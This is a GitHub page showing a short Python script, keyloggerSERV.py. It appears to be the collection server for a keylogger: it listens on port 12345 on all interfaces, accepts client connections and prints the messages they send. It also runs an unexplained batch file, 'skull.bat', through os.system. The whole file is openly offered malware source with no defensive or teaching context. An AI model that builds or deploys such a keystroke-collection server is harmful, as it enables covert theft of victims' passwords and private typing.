-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathkeyloggerSERV.py
More file actions
34 lines (28 loc) · 957 Bytes
/
keyloggerSERV.py
File metadata and controls
34 lines (28 loc) · 957 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import socket
import threading
import os
HOST = '0.0.0.0' # Listen on all available network interfaces
PORT = 12345
def handle_client(client_socket):
while True:
try:
message = client_socket.recv(1024).decode('utf-8')
if not message:
break
print(f"Received from client: {message}")
except Exception as e:
print(f"Error handling client: {e}")
break
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen(2)
print(f"Server listening on {HOST}:{PORT}")
os.system('skull.bat')
while True:
try:
client_socket, client_address = server.accept()
print(f"Accepted connection from {client_address}")
client_thread = threading.Thread(target=handle_client, args=(client_socket,))
client_thread.start()
except Exception as e:
print(f"Error accepting client connection: {e}")